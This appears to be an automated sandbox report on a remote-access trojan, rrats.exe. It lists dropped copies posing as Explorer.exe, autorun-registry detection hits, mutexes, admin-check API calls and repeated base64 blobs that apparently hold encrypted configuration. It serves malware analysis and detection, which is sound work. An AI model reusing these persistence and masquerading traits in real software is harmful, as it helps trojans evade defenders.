Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00EA6384	4_2_00EA6384
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E8B4B3	4_2_00E8B4B3
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00EA1DC0	4_2_00EA1DC0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E855B8	4_2_00E855B8

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: String function: 00E93AC0 appears 44 times
Source: C:\Users\user\Desktop\rrats.exe	Code function: String function: 00CBF5F0 appears 31 times
Source: C:\Users\user\Desktop\rrats.exe	Code function: String function: 00CBEB78 appears 39 times
Source: C:\Users\user\Desktop\rrats.exe	Code function: String function: 00CBEC50 appears 56 times

Source: rrats.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.0.rrat.exe.200000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 5.2.rrat.exe.26db1a0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000010.00000002.4490902100.0000000002B05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: a.exe PID: 1372, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: rrat.exe PID: 1968, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: Explorer.exe PID: 7356, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Users\user\AppData\Local\explore.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Users\user\AppData\Roaming\Explorer.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys

Source: rrat.exe.4.dr, xwAfxDQxndGJirq.cs	Base64 encoded string: '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
Source: Explorer.exe.5.dr, xwAfxDQxndGJirq.cs	Base64 encoded string: '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
Source: 5.2.rrat.exe.26db1a0.0.raw.unpack, xwAfxDQxndGJirq.cs	Base64 encoded string: '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
Source: explore.exe.16.dr, xwAfxDQxndGJirq.cs	Base64 encoded string: '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

Source: Explorer.exe.5.dr, FCIYoaYgcuBXAD.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 5.2.rrat.exe.26db1a0.0.raw.unpack, WfNNYSCGoRo.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.rrat.exe.26db1a0.0.raw.unpack, WfNNYSCGoRo.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Explorer.exe.5.dr, WfNNYSCGoRo.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Explorer.exe.5.dr, WfNNYSCGoRo.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: rrat.exe.4.dr, WfNNYSCGoRo.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: rrat.exe.4.dr, WfNNYSCGoRo.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.rrat.exe.26db1a0.0.raw.unpack, FCIYoaYgcuBXAD.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: explore.exe.16.dr, WfNNYSCGoRo.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: explore.exe.16.dr, WfNNYSCGoRo.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: rrat.exe.4.dr, FCIYoaYgcuBXAD.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: explore.exe.16.dr, FCIYoaYgcuBXAD.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal100.troj.evad.winEXE@43/19@2/3

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CA6C74 GetLastError,FormatMessageW,

0_2_00CA6C74

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CBA6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00CBA6C2

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe

File created: C:\Users\user\AppData\Roaming\Explorer.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7264:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6664:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\RRAT_nMo7Zfs0N
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
